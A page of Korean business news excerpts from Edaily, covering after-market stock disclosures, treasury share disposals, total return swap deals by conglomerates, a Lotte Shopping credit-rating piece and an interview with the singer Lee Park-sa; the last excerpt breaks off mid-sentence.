최대주주로-새마을금고 “강남아파트 통매입 사모펀드 대출금 회수”-수협은 ’해양쓰레기 줄이는 예·적금‘ 넉달새 1조원 판매△산업&기업-부활 특명..쌍용차 ’준중형 SUV 전기차‘ 뜬다-협력사에 역대 최대 인센티브 흔들림없는 ’이재용 동행 비전‘-LCC “9월 대규모 실업 불가피 고용유지지원금 시한 연장해달라”-그린뉴딜 띄웠지만..활성화 대책없는 ESS업계 한숨-무역 감소, 원자재값 하락..종합상사 악소리△산업·바이오-최진환 “콘텐츠↑,요금↓..새로워진 Btv, 넷플릭스 넘겠다”-폰 꺼놓아도 알아서 플레이..’방치형 게임‘ 대세몰이-“중기 동남아 진출 해결사”..LG상사 ’자상한기업‘ 15호 선정△소비자생활-’입점사 제품도 로켓배송‘..쿠팡, 편법택배 논란 재점화-올해 원유 가격 동결 한숨 돌린 우유업계-코로나속..’도깨비 호텔‘ 페어몬트, 여의도 안착 성공할까-’스벅 초록우산‘ 하루만에 품절..중고장터서 가격 폭등△증권&마켓’증시 상승 흐름 타자‘..코스닥기업 너도나도 EB발행-코로나 백신개발 진척 희소식에..죽쑤던 영화·항공·여행주 ’꿈틀‘-“성장성 보이는 美헬스케어 기술주 대비 상대적 저평가”△증권-매물나온 ’ARM·필립스‘..삼성·SK·LG 입질 시작하나-KB증권, 해외주식투자 편의성·역량 강화한다-4개월만에 출항한 SPV..A등급 이하 회사채 숨통 트이나△부동산-상반기 주택거래 사상 최대, 왜..’3040 패닉 바잉‘ 있었다-’행정수도 이전‘ 논쟁 확산..세종시 집값 요동-강남구 전셋값 1년 새 13.7% 올랐다△문화-태국·베트남도 예매율 1위..’반도‘ 멈췄던 영화시장 구원투수-캣츠 40주년 오리지널팀 내한..역대 최강 ’고양이군단‘ 온다-한국인도 일본인도 아닌..재일코리안, 그 배척된 삶△스포츠-’10억돌파‘ 상금왕 계보..코로나 탓에 끊기나-김주형 “메이저대회서도 ’10대 돌풍‘ 일으켜야죠”-’마스터키‘ 기성용 “구단과 앙금 털고..제2의 전성기 열겠다”-’마무리 낙점‘ 김광현 “자신있게 던질 것”△피플-“공적 마스크 제도, 매순간이 기적의 연속이었죠”-세계 3대 사모펀드 칼라일그룹 한국계 이규성 단독대표 체제로-“기업시민 역할 해달라” 포스코, 명장 3인 선정-신세계푸드, 신안 특산물로 외식메뉴 만든다-“수박 드시고 힘내세요”..현대모비스 18년째 이색 상생-G마켓·GC녹십자, 독거노인에 건강기능식품 전달-아디다스 마이드림FC 축구 꿈나무에 장학금△전국-용산공원은 역사적인 땅..주한미군호텔 영업은 어불성설-경기휴양림·수목원 36곳 다시 문연다-서초·은평·중구도 ’미세먼지 집중관리‘△사회-온실가스 감축 목표 빠진 ’그린뉴딜‘..조명래 “’넷제로 지향‘ 표현도 성과”-“서울시, 조사주체 아닌 책임주체 朴전시장 통화내역 확인해봐야”-강서 요양원·포천 군부대..수도권 지역감염 재확산 우려-秋 ’부동산 투기와의 전쟁‘ 검에 지시-서울 세종대로, 차로 줄여 ’보행친화거리‘ 조성-구급차 막은 택시기사 ’고의사고‘ 혐의 구속영장
2020.07.22 I 김영환 기자
  • [재송]20일 장 마감후 주요종목 뉴스
  • [이데일리 김성훈 기자] 다음은 20일 장 마감 후 주요종목 뉴스다.△오뚜기(007310)=오뚜기물류서비스에 경기 용인 오뚜기 용인물류 외 5개 토지와 건물, 구축물 등을 처분하기로 했다고 공시. 처분 규모는 1111억8373만원. 회사 측은 처분 목적에 대해 “오뚜기물류서비스를 종합물류 회사로 육성하기 위함”이라고 설명.△현대글로비스(086280)=특수관계인인 현대차증권으로부터 500억원 규모의 MMT 유가증권을 매수했다고 공시. 만기일은 오는 10월 19일이며, 이자율은 시장금리. 회사 측은 거래 목적에 대해 “안정적 자금운용 및 수익성 제고를 위한 매수”라고 설명.△HDC현대산업개발(294870)=오는 22일 2분기 실적을 발표할 예정이라고 공시.△ 교보증권(030610)=2분기 연결 기준 잠정 실적으로 매출 2417억원, 영업이익 543억원을 기록했다고 공시. 전년 동기 대비 매출은 43.1% 줄었으나 영업이익은 50.0% 증가.△컨버즈(109070)=공시 불이행으로 한국거래소로부터 불성실공시법인으로 지정됐다고 공시. 회사 측은 불성실공시법인 지정에 대해 “타 법인 주식 및 출자 증권 처분결정, 처분결정 취소 사실의 지연공시 때문”이라고 설명.△삼성바이오로직스(207940)=H. Lundbeck A/S와 192억7984억원 규모의 위약품 위탁생산계약을 체결했다고 공시. 회사 측은 “해당 계약은 2019년 9월 27일 최초 체결한 이후 고객사와 추가 합의에 따른 변경이 이뤄졌다”며 “경영상 비밀유지로 공시를 유보했다”고 설명. △형지엘리트(093240)=한국거래소로부터 현저한 시황변동에 대한 조회공시를 요구받았다고 공시. 공시시한은 21일 오후 6시까지.△인콘(083640)=국군재정관리단을 상대로 약 28억원 규모의 비행기지 통합 관제체계 구축 사업 관련 계약 체결 공시. 지난해 연결 기준 매출액 대비 9.06%에 달하는 규모이며 계약 기간은 이날부터 오는 11월 30일까지.△코디(080530)=이스타홀딩스가 제기한 주식인도청구의 소에 대해 서울남부지방법원이 기각 결정을 내렸다고 공시. 회사 측은 “향후 이스타홀딩스가 항소하는 경우 법적 절차에 따라 적극적으로 대응할 것”이라고 설명. △한국거래소 코스닥시장본부는 바이오빌(065940)이 지난 5월 12일 서울남부지방법원에 제기한 상장폐지결정 등 효력 정지 가처분 신청이 기각됨에 따라 정리매매 절차를 재개한다고 공시. 거래소 측은 “이번 기각 결정에 따라 오는 22~30일까지 정리매매를 시행하고, 상장폐지 절차가 재개될 것”이라고 설명. △슈펙스비앤피(058530)=거래소가 지난 17일 요구한 주가 급등 관련 조회공시 요구에 대해 “최근의 현저한 시황 변동과 관련한 별도로 공시할 중요할 정보가 없다”고 공시. △이지웰(090850)=운영자금 마련을 위해 한국투자증권을 대상으로 이지웰의 보통주식으로 교환할 수 있는 약 65억원 규모의 교환사채(EB) 발행을 결정했다고 공시. 교환가액은 주당 1만4770원이며 교환청구기간은 오는 23일부터 2022년 6월 22일까지. 사채의 표면이자율과 만기이자율은 모두 0.0%이며 만기일은 오는 2022년 7월 22일. 청약일과 납입일은 모두 오는 22일. △SNK(950180)=오는 8월 4일 오전 8시 부산광역시 기장군 힐튼 부산에서 임시주주총회를 개최한다고 공시. 이번 임시주주총회에서는 잉여금 처분의 건, 이사에 대한 스톡옵션으로서의 보수 액수 결정 등이 논의될 예정. △더블유에프엠(035290)=서울회생법원에 경영 정상화 및 계속기업으로서의 가치 보존 위해 20일 회생절차 개시 신청했다고 공시. 회사 측은 “신청 후 서울회생법원에서 심사를 통해 회생절차 개시 여부의 결정이 있을 것”이라며 “이에 따른 변동 사항과 진행 사항 등을 향후 공시할 예정”이라고 설명. △이노테라피(246960)=체외용 지혈용품(InnoSEAL)에 대해 말레이시아 품목 허가 신청했다고 공시. 해당 제품은 혈관시술, 튜브삽입술 시 피부 부위의 출혈에 이용되는 제품. 회사 측은 “말레이시아 의료기기 당국(MDA)의 품목허가를 통해 품질의 우수성을 인정받을 수 있다”라며 “품목 허가가 완료되면 말레이시아에 제품을 출시할 에정”이라고 설명.△위즈코프(038620)=운영자금 마련을 위해 주식회사 매커스, 저스틴인베스트먼트를 대상으로 34억원 규모의 전환사채(CB) 발행을 결정했다고 공시. △KD(044180)=지분율 100%의 종속회사인 직산개발 주식회사에 대해 총 109억원 규모의 채무 보증 결정했다고 공시.△한국거래소 코스닥시장본부는 한국코퍼레이션(050540)에 대해 전·현직 경영진의 횡령 혐의에 대한 사실 여부와 구체적인 내용에 대해 20일 조회공시를 요구. 답변시한은 오는 21일 오후 6시까지. △젬백스(082270)=지난 2016년부터 2019년 9월까지 진행했던 신약 물질 GV 1001의 알츠하이머병 치료제로서의 국내 임상 2상 결과 1차 유효성 변수와 관련 유의미한 호전이라는 결과를 얻었다고 공시.△특수건설(026150)=코로나19의 영향으로 인해 금융감독원에 반기보고서 지연 제출에 대한 제재 면제 심사를 신청했다고 공시.△금융감독원은 제일제강(023440)이 지난 9일 제출한 채무증권 증권신고서 심사결과 형식을 제대로 갖추지 않았거나 중요사항이 기재되지 않는 등의 사유가 발생해 정정신고서 제출을 요구했다고 공시.△한국거래소 코스닥시장본부는 포티스(141020)에 대해 최대주주인 이노그로스가 의무보유 조치를 이행하지 않아 오는 21일 ‘투자주의 환기종목’으로 지정한다고 공시. △이지웰(090850)=운영자금 마련을 위해 한국투자증권을 대상으로 이지웰의 보통주식으로 교환할 수 있는 약 65억원 규모의 교환사채(EB) 발행을 결정했다고 공시.
2020.07.21 I 김성훈 기자
  • 20일 장 마감후 주요종목 뉴스
  • [이데일리 김성훈 기자] 다음은 20일 장 마감 후 주요종목 뉴스다.△오뚜기(007310)=오뚜기물류서비스에 경기 용인 오뚜기 용인물류 외 5개 토지와 건물, 구축물 등을 처분하기로 했다고 공시. 처분 규모는 1111억8373만원. 회사 측은 처분 목적에 대해 “오뚜기물류서비스를 종합물류 회사로 육성하기 위함”이라고 설명.△현대글로비스(086280)=특수관계인인 현대차증권으로부터 500억원 규모의 MMT 유가증권을 매수했다고 공시. 만기일은 오는 10월 19일이며, 이자율은 시장금리. 회사 측은 거래 목적에 대해 “안정적 자금운용 및 수익성 제고를 위한 매수”라고 설명.△HDC현대산업개발(294870)=오는 22일 2분기 실적을 발표할 예정이라고 공시.△ 교보증권(030610)=2분기 연결 기준 잠정 실적으로 매출 2417억원, 영업이익 543억원을 기록했다고 공시. 전년 동기 대비 매출은 43.1% 줄었으나 영업이익은 50.0% 증가.△컨버즈(109070)=공시 불이행으로 한국거래소로부터 불성실공시법인으로 지정됐다고 공시. 회사 측은 불성실공시법인 지정에 대해 “타 법인 주식 및 출자 증권 처분결정, 처분결정 취소 사실의 지연공시 때문”이라고 설명.△삼성바이오로직스(207940)=H. Lundbeck A/S와 192억7984억원 규모의 위약품 위탁생산계약을 체결했다고 공시. 회사 측은 “해당 계약은 2019년 9월 27일 최초 체결한 이후 고객사와 추가 합의에 따른 변경이 이뤄졌다”며 “경영상 비밀유지로 공시를 유보했다”고 설명. △형지엘리트(093240)=한국거래소로부터 현저한 시황변동에 대한 조회공시를 요구받았다고 공시. 공시시한은 21일 오후 6시까지.△인콘(083640)=국군재정관리단을 상대로 약 28억원 규모의 비행기지 통합 관제체계 구축 사업 관련 계약 체결 공시. 지난해 연결 기준 매출액 대비 9.06%에 달하는 규모이며 계약 기간은 이날부터 오는 11월 30일까지.△코디(080530)=이스타홀딩스가 제기한 주식인도청구의 소에 대해 서울남부지방법원이 기각 결정을 내렸다고 공시. 회사 측은 “향후 이스타홀딩스가 항소하는 경우 법적 절차에 따라 적극적으로 대응할 것”이라고 설명. △한국거래소 코스닥시장본부는 바이오빌(065940)이 지난 5월 12일 서울남부지방법원에 제기한 상장폐지결정 등 효력 정지 가처분 신청이 기각됨에 따라 정리매매 절차를 재개한다고 공시. 거래소 측은 “이번 기각 결정에 따라 오는 22~30일까지 정리매매를 시행하고, 상장폐지 절차가 재개될 것”이라고 설명. △슈펙스비앤피(058530)=거래소가 지난 17일 요구한 주가 급등 관련 조회공시 요구에 대해 “최근의 현저한 시황 변동과 관련한 별도로 공시할 중요할 정보가 없다”고 공시. △이지웰(090850)=운영자금 마련을 위해 한국투자증권을 대상으로 이지웰의 보통주식으로 교환할 수 있는 약 65억원 규모의 교환사채(EB) 발행을 결정했다고 공시. 교환가액은 주당 1만4770원이며 교환청구기간은 오는 23일부터 2022년 6월 22일까지. 사채의 표면이자율과 만기이자율은 모두 0.0%이며 만기일은 오는 2022년 7월 22일. 청약일과 납입일은 모두 오는 22일. △SNK(950180)=오는 8월 4일 오전 8시 부산광역시 기장군 힐튼 부산에서 임시주주총회를 개최한다고 공시. 이번 임시주주총회에서는 잉여금 처분의 건, 이사에 대한 스톡옵션으로서의 보수 액수 결정 등이 논의될 예정. △더블유에프엠(035290)=서울회생법원에 경영 정상화 및 계속기업으로서의 가치 보존 위해 20일 회생절차 개시 신청했다고 공시. 회사 측은 “신청 후 서울회생법원에서 심사를 통해 회생절차 개시 여부의 결정이 있을 것”이라며 “이에 따른 변동 사항과 진행 사항 등을 향후 공시할 예정”이라고 설명. △이노테라피(246960)=체외용 지혈용품(InnoSEAL)에 대해 말레이시아 품목 허가 신청했다고 공시. 해당 제품은 혈관시술, 튜브삽입술 시 피부 부위의 출혈에 이용되는 제품. 회사 측은 “말레이시아 의료기기 당국(MDA)의 품목허가를 통해 품질의 우수성을 인정받을 수 있다”라며 “품목 허가가 완료되면 말레이시아에 제품을 출시할 에정”이라고 설명.△위즈코프(038620)=운영자금 마련을 위해 주식회사 매커스, 저스틴인베스트먼트를 대상으로 34억원 규모의 전환사채(CB) 발행을 결정했다고 공시. △KD(044180)=지분율 100%의 종속회사인 직산개발 주식회사에 대해 총 109억원 규모의 채무 보증 결정했다고 공시.△한국거래소 코스닥시장본부는 한국코퍼레이션(050540)에 대해 전·현직 경영진의 횡령 혐의에 대한 사실 여부와 구체적인 내용에 대해 20일 조회공시를 요구. 답변시한은 오는 21일 오후 6시까지. △젬백스(082270)=지난 2016년부터 2019년 9월까지 진행했던 신약 물질 GV 1001의 알츠하이머병 치료제로서의 국내 임상 2상 결과 1차 유효성 변수와 관련 유의미한 호전이라는 결과를 얻었다고 공시.△특수건설(026150)=코로나19의 영향으로 인해 금융감독원에 반기보고서 지연 제출에 대한 제재 면제 심사를 신청했다고 공시.△금융감독원은 제일제강(023440)이 지난 9일 제출한 채무증권 증권신고서 심사결과 형식을 제대로 갖추지 않았거나 중요사항이 기재되지 않는 등의 사유가 발생해 정정신고서 제출을 요구했다고 공시.△한국거래소 코스닥시장본부는 포티스(141020)에 대해 최대주주인 이노그로스가 의무보유 조치를 이행하지 않아 오는 21일 ‘투자주의 환기종목’으로 지정한다고 공시. △이지웰(090850)=운영자금 마련을 위해 한국투자증권을 대상으로 이지웰의 보통주식으로 교환할 수 있는 약 65억원 규모의 교환사채(EB) 발행을 결정했다고 공시.
2020.07.20 I 김성훈 기자
변동성 장세…웹케시·아프리카TV 등 자사주 `처분` 눈길
  • 변동성 장세…웹케시·아프리카TV 등 자사주 `처분` 눈길
  • 자료:금융감독원[이데일리 김재은 기자] 미·중 무역분쟁에 일본 수출 규제 리스크까지 불거지며 증시 변동성이 커진 가운데 일부 상장사들이 자사주 처분에 나서 그 배경에 관심이 쏠린다. 이같은 변동성 장세에서는 통상 주가방어를 위해 자사주 취득에 나서는데 반대로 처분에 나섰기 때문이다. 스톡옵션이나 성과급 지급, 교환사채(CB) 발행을 통한 자금조달 등이 목적인 것으로 것으로 나타났다. 15일 금융감독원에 따르면 이달들어 전일까지 자사주 처분 결정을 공시한 상장사는 7개사다. 이 가운데 웹케시, 아프리카TV, 에스티아이는 임직원의 스톡옵션 행사에 따른 주식 지급을 위한 처분이다. 핀테크업체 웹케시(053580)는 4609주의 자사주를 주당 1만4804원(총 6823만원)에 처분한다고 공시했다. 지난 1월 코스닥에 신규 상장한 웹케시 주가는 현재 4만8000원(14일 종가)으로 공모가 2만6000원을 2배이상 크게 웃돌고 있다. 지난 6월엔 6만5000원을 넘어서기도 했지만, 최근 증시 하락에 상승 폭을 상당 부분 반납한 상태다. 하지만 스톡옵션 행사가(1만4804원)를 감안하면 3.2배 차익을 가져갈 수 있다.아프리카TV(067160) 역시 70억원을 웃도는 11만7361주의 자사주 처분을 밝혔다. 아프리카TV의 현주가는 5만9600원 수준으로 고점인 7만원대에 비하면 20%가량 하락했다. 하지만 현재 스톡옵션 행사가는 2만2200~3만8000원 수준으로 최소 33%이상 차익이 기대된다. 에스티아이(039440)도 스톡옵션 행사로 2000주의 자사주 처분 공시를 냈다. 현주가는 1만4000원이지만, 행사가는 2720원으로 5분의 1수준에도 못 미친다.최근 대외 변수에 증시가 급락하면서 해당 회사 임직원들은 고점이 아니더라도 차익 실현이 가능할 때 스톡옵션을 행사하려는 것으로 풀이된다. 자사주를 활용해 교환사채(EB) 발행 등 자금조달에 나선 상장사도 있다. 삼일제약(000520)은 상장후 처음으로 자사주를 교환대상으로 50억원 규모 사모 EB를 발행한다. 자사주 20만924주를 처분하는데, 발행되는 EB의 표면이자율과 만기이자율은 0%다. 투자자들은 사실상 주식전환시 차익을 염두에 두고 투자에 나서는 것이다. 교환기간은 오는 17일부터 2024년 7월 11일까지이지만, 교환가액(주당 2만4885원)이 현주가(1만9550원)보다 20%이상 높아 당장 교환될 가능성은 낮은 상태다. 한국가스공사(036460)는 자사주를 교환대상으로 한 EB 발행을 위해 467만5760주(5.1%)의 자사주를 처분한다고 밝혔다. 이는 5년전 발행한 EB의 만기가 오는 21일 도래하는데 따른 차환발행용이지만, 현재 자사주 5.1%의 시가는 1823억원 수준으로 5년전에 비해 크게 낮아졌다. 가스공사의 현주가는 3만8600원으로 5년전 EB 발행당시 주가(5만7000원)에 비해 32%나 하락한 상태다. 가스공사는 현재 NH투자증권, 신한금융투자를 주관사로 선정하고 발행시기, 발행금리, 할증률 등을 검토하고 있다. 5년 전엔 할증률 15%를 적용해 3100억원 규모의 EB를 발행했다. 발행금리는 1.8%였다. 이밖에 KT(030200)는 임원 장기성과급 지급을 위해 25억8400여만원 규모인 9만2622주의 자사주를 장외로 처분한다고 공시했다. 가온전선(000500)은 모보의 100% 자회사 편입을 위해 모보의 주주들에게 자사주를 주식교환 대가로 배부하기로 했다.
2019.08.16 I 김재은 기자
이박사 "내 인생도 내리막길...그래도 신바람나요" (인터뷰)
  • 이박사 "내 인생도 내리막길...그래도 신바람나요" (인터뷰)
  • 이박사 (사진=룬컴 제공)[이데일리 스타in 박현택 기자] “시련 있어도, 신바람 나요.”전국을 돌며 활발한 공연을 펼치고 있는 가수 이박사가 근황을 전했다. 여전히 현역 1선에서 활동중인 그는 “내일은 강원도, 그 다음은 제주도를 갔다가 다시 인천으로 와야 한다”며 “대중이 내가 아주 많은 나이인줄 아시는데, 여전히 60대 중반으로 문제없이 노래를 부르고 있다”고 말했다. 7월에만 10개의 스케줄을 소화했지만, 여름은 ‘비수기’라고 말했다. 이박사는 “날씨가 무더우니 야외공연을 할때 사람들이 잘 모이지 않는다”며 “10개 스케줄은 많은게 아니고 아주 적은 편”이라고 말했다. 행사마다 ‘주인공’ 대접을 받는 그는 특유의 창법과 단숨에 현장의 분위기를 고조시키는 히트곡들로 많은 러브콜을 받고 있다. 이박사는 “가수들은 설 수 있는 무대가 있으면 잘 늙지 않는다”며 “오히려 집에만 있으면 늙고, 병들기도한다. 여전히 내가 열정적으로 일할 수 있는 것은 나를 찾아주는 곳이 있기 때문”이라고 말했다.어린시절 음악적 재능을 보여 ‘신동’이라고 불린 그는 15살 무렵에는 경기민요를 접했다. 이후 관광버스 가이드로 일한 그는 관광객들을 위해 부른 메들리 노래가 우연한 기회에 일본인 음악관계자에 귀에 들어가며 본격적인 가수의 길을 걷게 됐다. 그는 “일본에서는 1곡을 부르면 당시 돈으로 1000만원을 줬다”며 “3곡을 부르면 3000만원을 줬으니 자연히 부를 축적하게 됐다”고 말했다.2000년대 초반, 각종 콘서트와 행사를 통해 100억원에 가까운 재산을 벌었지만 심각한 발목골절 부상을 입으며 모든것을 날렸다. 그는 “마당에 있는 나무 가지를 쳐내다가 떨어져 발목이 심하게 부러졌다”며 “2년치 스케줄이 꽉 찬 상황에서 무대에 도저히 설 수 없는 처지가되어 위약금 등으로 다 토해내야 했다”고 말했다. 이어 “댄서가 10명, 코디가 2명에 매니저도 있었다”며 “그 모든 식구들에 대한 임금까지 주고나니 남은 돈이 없더라”며 “지금은 월세살이를 하고 있다”고 말했다.이박사는 자신이 ‘내리막길을 걷고 있다’고 말하면서도 여유있는 웃음을 지어보였다. 그는 “과거의 영광이 사라졌다고 해서 낙담하거나 절망하지 않는다”며 “인생이란게 그런것 아니겠나. 후배들이 치고 올라가는 것을 보면서 흐뭇하게 나는 내리막길을 내려가고 있는 중”이라며 웃었다.
2019.07.23 I 박현택 기자
증권사-대기업 TRS거래 현황 어떻길래
  • 증권사-대기업 TRS거래 현황 어떻길래
  • [그래픽=이데일리 이동훈 기자][이데일리 김재은 윤필호 기자] 대기업과 증권사간 총수익스와프(TRS)거래가 크게 늘어나고 있다. 대규모 자금 투입 없이 지분을 취득하고, 계열사를 지원하고자 하는 대기업집단(오너일가, 주요 계열사)과 채권금리보다 높은 수익을 가져가되 투자위험은 거의 없는 증권사 등 금융기관의 이해관계가 맞아 떨어진 영향이다. 문제는 전문투자자가 아닌 일반투자자(기업)의 경우 위험회피(헤지) 목적이 아닌 TRS(장외파생상품) 거래는 자본시장법 위반이라는 데 있다. 금융감독원은 지난해 9월 최근 5년간 10여개 대기업집단에서 30여건의 TRS거래에 대해 계열사 지원, 지분취득 등 의심정황이 있는 것으로 판단, 공정거래위원회에 자료를 넘겼다. ◇ 11개 대기업집단 TRS거래 활용 9일 이데일리가 금융감독원 전자공시시스템에 공시된 주요 대기업들의 TRS 거래를 조사한 결과 기업들은 주로 계열사의 자금 조달과 지분 취득, 재무구조 개선, 인수합병(M&A) 등에 TRS를 활용한 것으로 나타났다. 상호출자제한기업집단에선 SK, 현대차(005380), 롯데, CJ(001040), 현대, 두산(000150), 금호, 한진(002320), 효성(004800), 세아, LS(006260) 등 11곳이 검색됐다. 가장 활발하게 TRS거래에 나선 곳은 SK그룹이다. 최태원 회장 뿐 아니라 SK해운, SK E&S, SK 등 다양한 계열사들이 이름을 올렸다. SK그룹 지주사인 SK(034730)는 지난 2017년 10월 자회사인 SK E&S에 TRS거래를 활용해 대규모 재무구조 개선을 꾀했다. 6778억원 규모 3자 배정 유상증자와 관련, 미래에셋대우(006800)와 TRS를 맺고 지분 10% 취득을 대신하게 한 것. 대신 주가 상승이나 하락에 따른 리스크는 SK가 지고, 일정부분 수수료를 미래에셋대우에 지급키로 했다.SK그룹은 해운 사업의 구조조정 과정에서도 TRS를 활용했다. 특히 2017년 4월 기존 SK해운을 SK해운과 SK마리타임으로 분할하는 과정에서 SK는 SK해운의 기존 재무적투자자(FI)에 대한 투자금 상환을 위해 유상증자 신주를 삼성증권에 3850억원에 넘겼고, 이 거래는 TRS 방식으로 진행됐다. SK는 삼성증권에 2022년까지 SK해운 상장을 약속했다. SK해운이 한앤컴퍼니에 매각되더라도 신주 발행을 통한 인수이기 때문에 삼성증권과 맺은 조건은 그대로 유지된다. SK해운은 재무구조 개선을 위해 지난 2012년 해상급유(벙커링) 사업을 물적분할한 자회사 SK B&T를 세웠다. SK B&T FI로부터 투자금을 유치했지만 조건으로 내건 기업공개(IPO)가 여의치 않아 투자자를 교체하는 과정에서 TRS를 활용했다.현대차 그룹은 2016년 1월 순환출자 문제 해소를 위해 현대차와 기아차가 보유한 현대제철(004020) 지분 6.6%(880만여주·4439억원 규모)를 NH투자증권(005940)에 넘기는 TRS계약을 체결했다. 아시아나항공도 2014년 3월 금호산업(002990) 상호출자 문제를 대신증권과 TRS계약을 맺어 해소한 바 있다. 대한항공(003490)은 2014년말 한진해운이 발행한 교환사채(EB) 1960억원과 관련 EB 투자자와 맺은 TRS거래에서 1570억원의 손실이 발생하기도 했다. 두산(000150)그룹은 재무구조 개선에 적극적이다. 두산중공업(034020)은 지난해 8월 두산밥캣(241560) 재무구조 개선을 위해 보유지분을 한국투자증권, NH투자증권, 유진투자증권에 TRS거래로 넘기며 자금 3681억원을 조달했다. 두산중공업은 2014년엔 두산건설(011160)에 대해 손실을 보전하며 상환전환우선주(RCPS) 투자자를 대상으로 4000억원 지원에 나선 바 있다. 현대그룹은 경영권 방어 등의 목적으로 예전부터 TRS거래를 활용해왔다. 현대상선(011200), 현대엘리베이(017800)터, 현대유아이 등은 현대증권 2대주주인 자베즈파트너스와 맺은 TRS계약으로 768억원의 손실을 감내해야 했다. 롯데그룹내 호텔롯데는 2017년말 강남 선릉역 인근 L7강남 소유주인 하나금융투자, 마스턴투자운용과 TRS를 맺고 2년간 이 호텔을 임차하기로 했다. 호텔롯데는 일정부분 수수료를 지급하고, 임대실적에 따른 이익과 손실을 가져가는 구조다. 롯데그룹은 앞서 롯데렌털(옛 KT금호렌터카)을 인수할 당시 50%는 호텔롯데, 부산롯데호텔 등 계열사를 통해, 나머지는 신한금융투자, 미래에셋대우 등이 설립한 SPC와 TRS를 맺어 확보하기도 했다. ◇ 공시강화 필요…“TRS 악용 엄단해야”증권사들은 이같은 TRS거래에서 리스크 부담이 거의 없이 채권 투자시보다 더 높은 수익률을 거둔 것으로 알려졌다. 금감원이 밝힌 TRS거래 평균 수수료율 1.8%를 적용할 경우 대기업과의 거래를 통해 최소 1000억원이상의 수수료 수입을 가져간 것으로 추정된다. 금감원은 한국투자증권 단기금융업(발행어음) 제재 방침을 명확히 하면서도 TRS거래에 불똥이 튀는 것을 우려하고 있다. 하지만 이번을 계기로 TRS거래 관련 제도 점검에 나서야 한다는 목소리가 크다. 특히 TRS거래와 관련해선 공시 등의 규제 대상에서 벗어나 있어 개인투자자 등이 알 수 없는 구조다. 금감원이 적발한 최태원 SK그룹 회장과 한국증권 SPC간 TRS거래는 공시된 바 없다. 손실부담 주체가 최태원 회장 개인이기 때문. 설령 기업이 손실부담을 안더라도 사업보고서 주석 등을 모두 뒤져야만 TRS거래 여부를 찾을 수 있다. 이와 관련 금감원 고위관계자는 “아직까지 공시 강화 등을 검토중이진 않지만, 기본적인 접근은 TRS거래를 잘 알리고 제대로 공시하는 게 중요하다는 것”이라고 했다. 황세운 자본시장연구원 연구위원은 “TRS는 시장에서 효용성이 충분히 인정된 파생거래로 상품 자체에 문제가 있지 않다”며 “기업들이 규제를 회피하기 위해 TRS를 악용한 사례는 충분히 나타날 수 있고, 그런 사례에 대해 예외적으로 패널티를 부과하는 게 합리적”이라고 지적했다.
2019.01.09 I 김재은 기자
`부정적` 롯데쇼핑…"등급 빨리 낮춰라"
  • [28th SRE][Worst]`부정적` 롯데쇼핑…"등급 빨리 낮춰라"
  • [이데일리 김재은 기자] 롯데그룹을 지탱해오던 주력계열사인 롯데쇼핑(023530)과 호텔롯데가 무너지고 있다. 오프라인에서 온라인으로 쇼핑의 무게중심이 이동하고, 국내 면세사업이 위기를 맞으면서 내수업종은 마이너스 성장을 기록중이다. 호텔롯데는 지난해말 AA로 등급 하향이 이뤄졌지만, 롯데쇼핑은 여전히 ‘AA+’에 부정적 꼬리표를 달고 있다. 지난해 11월이후 1년 가까이 달린 부정적 전망에 대해 크레딧 업계는 신평사들의 빠른 결단을 촉구하는 모양새다.신평사들은 올해 실적을 확인한 이후 롯데쇼핑 등급을 재검토한다는 방침이다. 롯데쇼핑 본원 경쟁력 ‘흔들’…시장 기피 28회 SRE에선 롯데쇼핑·호텔롯데가 워스트레이팅 1위에 올랐다. 2015년 상반기(21회 SRE)에 처음 워스트레이팅 후보군에 포함된 지 3년 반만이다. 롯데쇼핑·호텔롯데는 응답자 179명 가운데 38표(21.2%)를 받아 지난회 7위에서 1위로 6단계나 상승했다. 특히 크레딧애널리스트로부터 14표(25%)를 받았다. 지난해 말이후 한기평과 NICE신평이 ‘AA+’를 유지하며 ‘부정적’ 등급전망을 부여한 만큼 조속히 ‘AA’로 낮추라는 요구가 큰 것으로 풀이된다. 실제 워스트레이팅 38표중 37표가 롯데쇼핑·호텔롯데 등급 방향성을 아래로 체크했다. 호텔롯데(AA·안정적)는 이미 지난해 말 등급하향이 이뤄진 상태다. 롯데쇼핑·호텔롯데는 1년 전인 26회 SRE에서도 워스트레이팅 2위에 올랐었다. 당시엔 중국의 사드보복 우려와 함께 백화점·국내마트 등 핵심사업 부진이 본격화한 영향이었다. 결국 롯데쇼핑은 중국 마트사업(할인점) 철수를 결정했고, 지난 4~5월 중국 할인점 74개의 매각계약을 체결했다. 2017년 중국 할인점 적자 규모가 2690억원에 달한 점을 감안하면 영업수익에 긍정적 영향이 기대된다.그럼에도 불구하고, 소비패턴 변화에 따라 롯데쇼핑의 핵심사업 경쟁우위가 희석되고 있어 안심할 수 없다는 분석이다. 쪼그라드는 유통부문…떨어지는 수익성롯데그룹내에서 유통이 차지하는 비중은 2013년 48%에서 지난해 26%로 20%포인트 이상 하락했다. 국내 1위 시장지위를 보유한 국내 백화점 영업실적은 개선세이나 비우호적인 유통업황, 대형마트, 온라인 채널에서 후발주자의 지위를 감안하면 수익성 개선보다 제약이 우세하다는 평가다. 롯데쇼핑은 지난해 상각전영업이익(EBITDA)이 1조4346억원으로 2014년(2조878억원)에 비해 31.3% 줄었다. 같은 기간 이자·법인세 차감전순이익(EBIT)은 5299억원에 그치며 2014년(1조1884억원)대비 반토막(55.9%·6655억원)이상 급감했다.영업이익률(EBIT/매출액)은 2014년 4.2%에서 지난해 2.9%로 1%포인트 이상 떨어졌다. 지난해 매출은 18조1799억원으로 2014년(28조996억원)보다 10조원 가까이 급감했다. 부채비율은 2014년 128.4%에서 지난해 109.3%로 다소 개선됐다.지난해말 기준 총차입금은 7조6778억원, 순차입금은 3조9670억원 수준이다. 공모채시장 기피…강제상환 조건 ‘굴욕’이같은 이유로 지주사 체제에 편입된 롯데쇼핑은 지난해 말 3년만기 CP로 1500억원을 조달했다. 올 3월엔 롯데하이마트 주식 담보 교환사채(EB)로 3000억원을 끌어왔다. 롯데쇼핑은 8월엔 두 차례에 걸쳐 15년 만기 700억원, 20년 만기 300억원 등 사모 회사채 1000억원을 발행했다. 특히 1곳이상 신평사로부터 A+등급 이하로 떨어지면 강제상환 조건이 붙었다. 호텔롯데도 마찬가지다. 올해 발행한 10년물이상 회사채 3500억원에 대해 모두 강제 조기상환 조건(A+이하 하락시 조기상환)을 적용했다. SRE 자문위원은 “롯데쇼핑은 실적이 계속 안 좋고, 중국 사업을 정리중이나 명확히 단절됐다고 보기는 어렵다”며 “부정적 등급전망을 1년 가까이 붙이고 있어 빠르게 결정하라는 